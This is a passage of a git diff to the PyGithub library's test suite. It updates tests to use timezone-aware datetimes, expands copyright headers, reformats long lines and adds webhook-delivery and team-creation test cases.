"IssueEvent(id=1791768212)") def testEvent_converted_note_to_issue_Attributes(self): self.assertEqual(self.event_converted_note_to_issue.actor.login, "sfdye") self.assertEqual(self.event_converted_note_to_issue.commit_id, None) self.assertEqual( self.event_converted_note_to_issue.created_at, - datetime.datetime(2018, 8, 16, 8, 14, 34), - ) - self.assertEqual( - self.event_converted_note_to_issue.event, "converted_note_to_issue" + datetime(2018, 8, 16, 8, 14, 34, tzinfo=timezone.utc), ) + self.assertEqual(self.event_converted_note_to_issue.event, "converted_note_to_issue") self.assertEqual(self.event_converted_note_to_issue.id, 1791769149) self.assertEqual(self.event_converted_note_to_issue.issue.number, 866) self.assertEqual( @@ -899,6 +865,4 @@ def testEvent_converted_note_to_issue_Attributes(self): self.assertEqual(self.event_converted_note_to_issue.rename, None) self.assertEqual(self.event_converted_note_to_issue.dismissed_review, None) self.assertEqual(self.event_converted_note_to_issue.lock_reason, None) - self.assertEqual( - repr(self.event_converted_note_to_issue), "IssueEvent(id=1791769149)" - ) + self.assertEqual(repr(self.event_converted_note_to_issue), "IssueEvent(id=1791769149)") diff --git a/tests/Job.py b/tests/Job.py index e6bf7e0ef7..102a5dcb95 100644 --- a/tests/Job.py +++ b/tests/Job.py @@ -19,7 +19,7 @@ # along with PyGithub. If not, see . # # # ################################################################################ -from datetime import datetime +from datetime import datetime, timezone from . import Framework @@ -40,8 +40,8 @@ def testAttributes(self): self.assertEqual("ba2ad8220081ac147afaa5e53e895a9db0ceefda", job.head_sha) self.assertEqual("completed", job.status) self.assertEqual("success", job.conclusion) - self.assertEqual(datetime(2021, 7, 5, 19, 25, 20), job.started_at) - self.assertEqual(datetime(2021, 7, 5, 19, 26, 28), job.completed_at) + self.assertEqual(datetime(2021, 7, 5, 19, 25, 20, tzinfo=timezone.utc), job.started_at) + self.assertEqual(datetime(2021, 7, 5, 19, 26, 28, tzinfo=timezone.utc), job.completed_at) self.assertEqual("stew ci", job.name) self.assertEqual(10, len(job.steps)) @@ -50,5 +50,5 @@ def testAttributes(self): self.assertEqual("completed", step.status) self.assertEqual("success", step.conclusion) self.assertEqual(1, step.number) - self.assertEqual(datetime(2021, 7, 5, 19, 25, 20), step.started_at) - self.assertEqual(datetime(2021, 7, 5, 19, 25, 21), step.completed_at) + self.assertEqual(datetime(2021, 7, 5, 19, 25, 20, tzinfo=timezone.utc), step.started_at) + self.assertEqual(datetime(2021, 7, 5, 19, 25, 21, tzinfo=timezone.utc), step.completed_at) diff --git a/tests/Label.py b/tests/Label.py index 1006554425..256d94bd68 100644 --- a/tests/Label.py +++ b/tests/Label.py @@ -7,7 +7,14 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Mateusz Loskot # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,15 +46,11 @@ def testAttributes(self): self.assertEqual(self.label.color, "e10c02") self.assertEqual(self.label.name, "Bug") self.assertIsNone(self.label.description) - self.assertEqual( - self.label.url, "https://api.github.com/repos/jacquev6/PyGithub/labels/Bug" - ) + self.assertEqual(self.label.url, "https://api.github.com/repos/jacquev6/PyGithub/labels/Bug") self.assertEqual(repr(self.label), 'Label(name="Bug")') def testEdit(self): - self.label.edit( - "LabelEditedByPyGithub", "0000ff", "Description of LabelEditedByPyGithub" - ) + self.label.edit("LabelEditedByPyGithub", "0000ff", "Description of LabelEditedByPyGithub") self.assertEqual(self.label.color, "0000ff") self.assertEqual(self.label.description, "Description of LabelEditedByPyGithub") self.assertEqual(self.label.name, "LabelEditedByPyGithub") diff --git a/tests/License.py b/tests/License.py index 57a956c69c..fdf3baa014 100644 --- a/tests/License.py +++ b/tests/License.py @@ -1,6 +1,12 @@ ############################ Copyrights and license ############################ # # # Copyright 2018 Wan Liuyang # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -47,9 +53,7 @@ def testAttributes(self): self.assertEqual(self.license.conditions, ["include-copyright"]) self.assertEqual(self.license.limitations, ["liability", "warranty"]) self.assertEqual(self.license.url, "https://api.github.com/licenses/mit") - self.assertEqual( - self.license.html_url, "http://choosealicense.com/licenses/mit/" - ) + self.assertEqual(self.license.html_url, "http://choosealicense.com/licenses/mit/") self.assertEqual( self.license.implementation, """Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.""", diff --git a/tests/Logging_.py b/tests/Logging_.py index d8e4a519d3..0444f984e5 100644 --- a/tests/Logging_.py +++ b/tests/Logging_.py @@ -8,6 +8,13 @@ # Copyright 2017 Hugo # # Copyright 2018 R1kk3r # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -86,9 +93,7 @@ def assertLogging(self, verb, url, requestHeaders, responseHeaders, output): self.assertEqual(self.logger.output, output) def testLoggingWithBasicAuthentication(self): - self.assertEqual( - github.Github(self.login, self.password).get_user().name, "Vincent Jacques" - ) + self.assertEqual(github.Github(auth=self.login).get_user().name, "Vincent Jacques") url = "https://api.github.com/user" requestHeaders = { "Authorization": "Basic (login and password removed)", @@ -115,9 +120,7 @@ def testLoggingWithBasicAuthentication(self): self.assertLogging("GET", url, requestHeaders, responseHeaders, output) def testLoggingWithOAuthAuthentication(self): - self.assertEqual( - github.Github(self.oauth_token).get_user().name, "Vincent Jacques" - ) + self.assertEqual(github.Github(auth=self.oauth_token).get_user().name, "Vincent Jacques") url = "https://api.github.com/user" requestHeaders = { "Authorization": "token (oauth token removed)", @@ -172,9 +175,7 @@ def testLoggingWithoutAuthentication(self): def testLoggingWithBaseUrl(self): # ReplayData forged, not recorded self.assertEqual( - github.Github(base_url="http://my.enterprise.com/my/prefix") - .get_user("jacquev6") - .name, + github.Github(base_url="http://my.enterprise.com/my/prefix").get_user("jacquev6").name, "Vincent Jacques", ) url = "http://my.enterprise.com/my/prefix/users/jacquev6" diff --git a/tests/Markdown.py b/tests/Markdown.py index bc19651f45..0ff998a1c1 100644 --- a/tests/Markdown.py +++ b/tests/Markdown.py @@ -6,6 +6,11 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Migration.py b/tests/Migration.py index bed934ba01..0e8b660a41 100644 --- a/tests/Migration.py +++ b/tests/Migration.py @@ -1,31 +1,13 @@ ############################ Copyrights and license ############################ # # -# Copyright 2012 Vincent Jacques # -# Copyright 2012 Zearin # -# Copyright 2013 Vincent Jacques # -# Copyright 2014 Vincent Jacques # -# Copyright 2015 Christopher Wilcox # -# Copyright 2015 Dan Vanderkam # -# Copyright 2015 Enix Yu # -# Copyright 2015 Kyle Hornberg # -# Copyright 2015 Uriel Corfa # -# Copyright 2016 @tmshn # -# Copyright 2016 Enix Yu # -# Copyright 2016 Jannis Gebauer # -# Copyright 2016 Jimmy Zelinskie # -# Copyright 2016 Peter Buckley # -# Copyright 2018 Hayden Fuss # -# Copyright 2018 Iraquitan Cordeiro Filho # -# Copyright 2018 Jacopo Notarstefano # -# Copyright 2018 Maarten Fonville # -# Copyright 2018 Mateusz Loskot # -# Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # -# Copyright 2018 Shinichi TAMURA # -# Copyright 2018 Steve Kowalik # -# Copyright 2018 Victor Granic # -# Copyright 2018 Wan Liuyang # -# Copyright 2018 Will Yardley # -# Copyright 2018 sfdye # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Christoph Reiter # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -45,7 +27,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timedelta, timezone import github @@ -67,14 +49,14 @@ def testAttributes(self): self.assertEqual(self.migration.exclude_attachments, False) self.assertEqual(len(self.migration.repositories), 1) self.assertEqual(self.migration.repositories[0].name, "sample-repo") + self.assertEqual(self.migration.url, "https://api.github.com/user/migrations/25320") self.assertEqual( - self.migration.url, "https://api.github.com/user/migrations/25320" + self.migration.created_at, + datetime(2018, 9, 14, 1, 35, 35, tzinfo=timezone(timedelta(seconds=19800))), ) self.assertEqual( - self.migration.created_at, datetime.datetime(2018, 9, 13, 20, 5, 35) - ) - self.assertEqual( - self.migration.updated_at, datetime.datetime(2018, 9, 13, 20, 5, 46) + self.migration.updated_at, + datetime(2018, 9, 14, 1, 35, 46, tzinfo=timezone(timedelta(seconds=19800))), ) self.assertEqual( repr(self.migration), @@ -82,9 +64,7 @@ def testAttributes(self): ) def testGetArchiveUrlWhenNotExported(self): - self.assertRaises( - github.UnknownObjectException, lambda: self.migration.get_archive_url() - ) + self.assertRaises(github.UnknownObjectException, lambda: self.migration.get_archive_url()) def testGetStatus(self): self.assertEqual(self.migration.get_status(), "exported") @@ -99,9 +79,7 @@ def testDelete(self): self.assertEqual(self.migration.delete(), None) def testGetArchiveUrlWhenDeleted(self): - self.assertRaises( - github.UnknownObjectException, lambda: self.migration.get_archive_url() - ) + self.assertRaises(github.UnknownObjectException, lambda: self.migration.get_archive_url()) def testUnlockRepo(self): self.assertEqual(self.migration.unlock_repo("sample-repo"), None) diff --git a/tests/Milestone.py b/tests/Milestone.py index 82da26894c..89c43b29bc 100644 --- a/tests/Milestone.py +++ b/tests/Milestone.py @@ -6,7 +6,14 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Michell Stuttgart # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import date, datetime, timezone from . import Framework @@ -39,10 +46,14 @@ def setUp(self): def testAttributes(self): self.assertEqual(self.milestone.closed_issues, 2) self.assertEqual( - self.milestone.created_at, datetime.datetime(2012, 3, 8, 12, 22, 10) + self.milestone.created_at, + datetime(2012, 3, 8, 12, 22, 10, tzinfo=timezone.utc), ) self.assertEqual(self.milestone.description, "") - self.assertEqual(self.milestone.due_on, datetime.datetime(2012, 3, 13, 7, 0, 0)) + self.assertEqual( + self.milestone.due_on, + datetime(2012, 3, 13, 7, 0, 0, tzinfo=timezone.utc), + ) self.assertEqual(self.milestone.id, 93546) self.assertEqual(self.milestone.number, 1) self.assertEqual(self.milestone.open_issues, 0) @@ -53,9 +64,7 @@ def testAttributes(self): "https://api.github.com/repos/jacquev6/PyGithub/milestones/1", ) self.assertEqual(self.milestone.creator.login, "jacquev6") - self.assertEqual( - repr(self.milestone), 'Milestone(title="Version 0.4", number=1)' - ) + self.assertEqual(repr(self.milestone), 'Milestone(title="Version 0.4", number=1)') def testEditWithMinimalParameters(self): self.milestone.edit("Title edited by PyGithub") @@ -66,17 +75,20 @@ def testEditWithAllParameters(self): "Title edited twice by PyGithub", "closed", "Description edited by PyGithub", - due_on=datetime.date(2012, 6, 16), + due_on=date(2012, 6, 16), ) self.assertEqual(self.milestone.title, "Title edited twice by PyGithub") self.assertEqual(self.milestone.state, "closed") self.assertEqual(self.milestone.description, "Description edited by PyGithub") - self.assertEqual(self.milestone.due_on, datetime.datetime(2012, 6, 16, 7, 0, 0)) + self.assertEqual( + self.milestone.due_on, + datetime(2012, 6, 16, 7, 0, 0, tzinfo=timezone.utc), + ) def testGetLabels(self): self.assertListKeyEqual( self.milestone.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["Public interface", "Project management"], ) diff --git a/tests/NamedUser.py b/tests/NamedUser.py index 42dba7bcc3..641d3685bc 100644 --- a/tests/NamedUser.py +++ b/tests/NamedUser.py @@ -7,9 +7,18 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # +# Copyright 2018 Bruce Richardson # +# Copyright 2018 Riccardo Pittau # # Copyright 2018 namc # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Surya Teja <94suryateja@gmail.com> # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Daniel Haas # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,7 +38,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -50,7 +59,8 @@ def testAttributesOfOtherUser(self): self.assertEqual(self.user.collaborators, None) self.assertEqual(self.user.company, "3rd Cloud") self.assertEqual( - self.user.created_at, datetime.datetime(2009, 5, 12, 21, 19, 38) + self.user.created_at, + datetime(2009, 5, 12, 21, 19, 38, tzinfo=timezone.utc), ) self.assertEqual(self.user.disk_usage, None) self.assertEqual(self.user.email, "vincent@3rdcloud.com") @@ -85,7 +95,10 @@ def testAttributesOfSelf(self): self.assertEqual(self.user.blog, "http://vincent-jacques.net") self.assertEqual(self.user.collaborators, 0) self.assertEqual(self.user.company, "Criteo") - self.assertEqual(self.user.created_at, datetime.datetime(2010, 7, 9, 6, 10, 6)) + self.assertEqual( + self.user.created_at, + datetime(2010, 7, 9, 6, 10, 6, tzinfo=timezone.utc), + ) self.assertEqual(self.user.disk_usage, 17080) self.assertEqual(self.user.email, "vincent@vincent-jacques.net") self.assertEqual(self.user.followers, 13) @@ -106,7 +119,8 @@ def testAttributesOfSelf(self): self.assertEqual(self.user.public_gists, 2) self.assertEqual(self.user.public_repos, 11) self.assertEqual( - self.user.suspended_at, datetime.datetime(2013, 8, 10, 7, 11, 7) + self.user.suspended_at, + datetime(2013, 8, 10, 7, 11, 7, tzinfo=timezone.utc), ) self.assertEqual(self.user.total_private_repos, 5) self.assertIsNone(self.user.twitter_username) @@ -128,7 +142,7 @@ def testGetGists(self): ], ) self.assertListKeyEqual( - self.user.get_gists(since=datetime.datetime(2012, 3, 1, 17, 0, 0)), + self.user.get_gists(since=datetime(2012, 3, 1, 17, 0, 0)), lambda g: g.description, ["Gist created by PyGithub", "FairThreadPoolPool.cpp"], ) @@ -191,9 +205,7 @@ def testHasInFollowing(self): self.assertTrue(self.user.has_in_following(nvie)) def testGetOrgs(self): - self.assertListKeyEqual( - self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"] - ) + self.assertListKeyEqual(self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"]) def testGetOrganizationMembership(self): o = self.user.get_orgs() @@ -210,9 +222,7 @@ def testGetOrganizationMembership(self): "https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6", ) self.assertEqual(membership.organization.login, "BeaverSoftware") - self.assertEqual( - membership.organization_url, "https://api.github.com/orgs/BeaverSoftware" - ) + self.assertEqual(membership.organization_url, "https://api.github.com/orgs/BeaverSoftware") def testGetOrganizationMembershipNotMember(self): from github import UnknownObjectException diff --git a/tests/NamedUser1430.py b/tests/NamedUser1430.py index bd7804dcfc..aa6dce10c8 100644 --- a/tests/NamedUser1430.py +++ b/tests/NamedUser1430.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Notification.py b/tests/Notification.py index 44f937f233..ddf3596853 100644 --- a/tests/Notification.py +++ b/tests/Notification.py @@ -4,9 +4,14 @@ # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # -# Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Organization.py b/tests/Organization.py index 18b711b166..f0cfb4ca9e 100644 --- a/tests/Organization.py +++ b/tests/Organization.py @@ -6,13 +6,40 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # -# Copyright 2017 Balázs Rostás # +# Copyright 2017 Balázs Rostás # # Copyright 2018 Anton Nguyen # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Jasper van Wanrooy # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Brian Choy # +# Copyright 2019 Geoffroy Jabouley # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2019 ebrown # +# Copyright 2020 Geoff Low # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 latacora-daniel <71085674+latacora-daniel@users.noreply.github.com># +# Copyright 2020 ton-katsu # +# Copyright 2021 Marina Peresypkina # +# Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Felipe Peter # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2024 Andrii Kezikov # +# Copyright 2024 Mohamed Mostafa <112487260+mohy01@users.noreply.github.com> # +# Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,7 +59,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from unittest import mock import github @@ -46,14 +73,15 @@ def setUp(self): self.org = self.g.get_organization("BeaverSoftware") def testAttributes(self): - self.assertEqual( - self.org.avatar_url, "https://avatars1.githubusercontent.com/u/1?v=4" - ) + self.assertEqual(self.org.avatar_url, "https://avatars1.githubusercontent.com/u/1?v=4") self.assertEqual(self.org.billing_email, "foo@example.com") self.assertEqual(self.org.blog, "http://www.example.com") self.assertEqual(self.org.collaborators, 9) self.assertEqual(self.org.company, None) - self.assertEqual(self.org.created_at, datetime.datetime(2014, 1, 9, 16, 56, 17)) + self.assertEqual( + self.org.created_at, + datetime(2014, 1, 9, 16, 56, 17, tzinfo=timezone.utc), + ) self.assertEqual(self.org.default_repository_permission, "none") self.assertEqual(self.org.description, "BeaverSoftware writes software.") self.assertEqual(self.org.disk_usage, 2) @@ -63,14 +91,10 @@ def testAttributes(self): self.assertEqual(self.org.gravatar_id, None) self.assertTrue(self.org.has_organization_projects) self.assertTrue(self.org.has_repository_projects) - self.assertEqual( - self.org.hooks_url, "https://api.github.com/orgs/BeaverSoftware/hooks" - ) + self.assertEqual(self.org.hooks_url, "https://api.github.com/orgs/BeaverSoftware/hooks") self.assertEqual(self.org.html_url, "https://github.com/BeaverSoftware") self.assertEqual(self.org.id, 1) - self.assertEqual( - self.org.issues_url, "https://api.github.com/orgs/BeaverSoftware/issues" - ) + self.assertEqual(self.org.issues_url, "https://api.github.com/orgs/BeaverSoftware/issues") self.assertEqual(self.org.location, "Paris, France") self.assertEqual(self.org.login, "BeaverSoftware") self.assertFalse(self.org.members_can_create_repositories) @@ -135,12 +159,8 @@ def testEditHookWithMinimalParameters(self): self.assertEqual(hook.name, "mobile") def testEditHookWithAllParameters(self): - hook = self.org.create_hook( - "web", {"url": "http://foobar.com"}, ["fork"], False - ) - hook = self.org.edit_hook( - hook.id, "mobile", {"url": "http://barfoo.com"}, ["spoon"], True - ) + hook = self.org.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) + hook = self.org.edit_hook(hook.id, "mobile", {"url": "http://barfoo.com"}, ["spoon"], True) self.assertEqual(hook.name, "mobile") self.assertEqual(hook.events, ["spoon"]) self.assertEqual(hook.active, True) @@ -151,15 +171,22 @@ def testCreateTeam(self): def testCreateTeamWithAllArguments(self): repo = self.org.get_repo("FatherBeaver") + parent_team = self.org.get_team(141496) + maintainer = self.g.get_user("jacquev6") team = self.org.create_team( "Team also created by PyGithub", [repo], "push", "secret", "Description also created by PyGithub", + parent_team.id, + [maintainer.id], + "notifications_disabled", ) self.assertEqual(team.id, 189852) self.assertEqual(team.description, "Description also created by PyGithub") + self.assertEqual(team.parent, parent_team) + self.assertEqual(team.notification_setting, "notifications_disabled") def testDeleteHook(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}) @@ -174,9 +201,7 @@ def testPublicMembers(self): self.assertFalse(self.org.has_in_public_members(lyloa)) def testGetPublicMembers(self): - self.assertListKeyEqual( - self.org.get_public_members(), lambda u: u.login, ["jacquev6"] - ) + self.assertListKeyEqual(self.org.get_public_members(), lambda u: u.login, ["jacquev6"]) def testGetHook(self): hook = self.org.get_hook(257993) @@ -185,39 +210,74 @@ def testGetHook(self): def testGetHooks(self): self.assertListKeyEqual(self.org.get_hooks(), lambda h: h.id, [257993]) + def testGetHookDelivery(self): + delivery = self.org.get_hook_delivery(257993, 12345) + self.assertEqual(delivery.id, 12345) + self.assertEqual(delivery.guid, "abcde-12345") + self.assertEqual( + delivery.delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(delivery.redelivery, False) + self.assertEqual(delivery.duration, 0.27) + self.assertEqual(delivery.status, "OK") + self.assertEqual(delivery.status_code, 200) + self.assertEqual(delivery.event, "issues") + self.assertEqual(delivery.action, "opened") + self.assertEqual(delivery.installation_id, 123) + self.assertEqual(delivery.repository_id, 456) + self.assertEqual(delivery.url, "https://www.example-webhook.com") + self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) + self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) + self.assertEqual(delivery.request.payload, {"action": "opened"}) + self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) + self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) + self.assertEqual(delivery.response.payload, "ok") + + def testGetHookDeliveries(self): + deliveries = list(self.org.get_hook_deliveries(257993)) + self.assertEqual(len(deliveries), 1) + self.assertEqual(deliveries[0].id, 12345) + self.assertEqual(deliveries[0].guid, "abcde-12345") + self.assertEqual( + deliveries[0].delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(deliveries[0].redelivery, False) + self.assertEqual(deliveries[0].duration, 0.27) + self.assertEqual(deliveries[0].status, "OK") + self.assertEqual(deliveries[0].status_code, 200) + self.assertEqual(deliveries[0].event, "issues") + self.assertEqual(deliveries[0].action, "opened") + self.assertEqual(deliveries[0].installation_id, 123) + self.assertEqual(deliveries[0].repository_id, 456) + self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") + def testGetIssues(self): self.assertListKeyEqual(self.org.get_issues(), lambda i: i.id, []) def testGetIssuesWithAllArguments(self): - requestedByUser = ( - self.g.get_user().get_repo("PyGithub").get_label("Requested by user") - ) + requestedByUser = self.g.get_user().get_repo("PyGithub").get_label("Requested by user") issues = self.org.get_issues( "assigned", "closed", [requestedByUser], "comments", "asc", - datetime.datetime(2012, 5, 28, 23, 0, 0), + datetime(2012, 5, 28, 23, 0, 0, tzinfo=timezone.utc), ) self.assertListKeyEqual(issues, lambda i: i.id, []) def testGetMembers(self): - self.assertListKeyEqual( - self.org.get_members(), lambda u: u.login, ["cjuniet", "jacquev6", "Lyloa"] - ) + self.assertListKeyEqual(self.org.get_members(), lambda u: u.login, ["cjuniet", "jacquev6", "Lyloa"]) def testGetOutsideCollaborators(self): - self.assertListKeyEqual( - self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"] - ) + self.assertListKeyEqual(self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"]) def testOutsideCollaborators(self): octocat = self.g.get_user("octocat") self.org.convert_to_outside_collaborator(octocat) - self.assertListKeyEqual( - self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"] - ) + self.assertListKeyEqual(self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"]) self.org.remove_outside_collaborator(octocat) self.assertEqual(list(self.org.get_outside_collaborators()), []) @@ -229,9 +289,7 @@ def testMembers(self): def testGetRepos(self): repos = self.org.get_repos() - self.assertListKeyEqual( - repos, lambda r: r.name, ["FatherBeaver", "TestPyGithub"] - ) + self.assertListKeyEqual(repos, lambda r: r.name, ["FatherBeaver", "TestPyGithub"]) self.assertListKeyEqual(repos, lambda r: r.has_pages, [True, False]) self.assertListKeyEqual(repos, lambda r: r.has_wiki, [True, True]) @@ -288,9 +346,7 @@ def testGetEvents(self): ) def testGetTeams(self): - self.assertListKeyEqual( - self.org.get_teams(), lambda t: t.name, ["Members", "Owners"] - ) + self.assertListKeyEqual(self.org.get_teams(), lambda t: t.name, ["Members", "Owners"]) def testGetTeamBySlug(self): team = self.org.get_team_by_slug("Members") @@ -301,17 +357,13 @@ def testCreateHookWithMinimalParameters(self): self.assertEqual(hook.id, 257967) def testCreateHookWithAllParameters(self): - hook = self.org.create_hook( - "web", {"url": "http://foobar.com"}, ["fork"], False - ) + hook = self.org.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) self.assertTrue(hook.active) self.assertEqual(hook.id, 257993) def testCreateRepoWithMinimalArguments(self): repo = self.org.create_repo(name="TestPyGithub") - self.assertEqual( - repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub" - ) + self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub") self.assertTrue(repo.has_wiki) self.assertTrue(repo.has_pages) @@ -328,42 +380,34 @@ def testCreateRepoWithAllArguments(self): has_wiki=False, has_downloads=False, team_id=team.id, + allow_update_branch=True, allow_squash_merge=False, allow_merge_commit=False, allow_rebase_merge=True, delete_branch_on_merge=False, ) - self.assertEqual( - repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub2" - ) + self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub2") + self.assertTrue(repo.allow_update_branch) self.assertFalse(repo.has_wiki) self.assertFalse(repo.has_pages) def testCreateRepositoryWithAutoInit(self): - repo = self.org.create_repo( - name="TestPyGithub", auto_init=True, gitignore_template="Python" - ) - self.assertEqual( - repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub" - ) + repo = self.org.create_repo(name="TestPyGithub", auto_init=True, gitignore_template="Python") + self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub") self.assertTrue(repo.has_pages) self.assertTrue(repo.has_wiki) def testCreateFork(self): pygithub = self.g.get_user("jacquev6").get_repo("PyGithub") repo = self.org.create_fork(pygithub) - self.assertEqual( - repo.url, "https://api.github.com/repos/BeaverSoftware/PyGithub" - ) + self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/PyGithub") 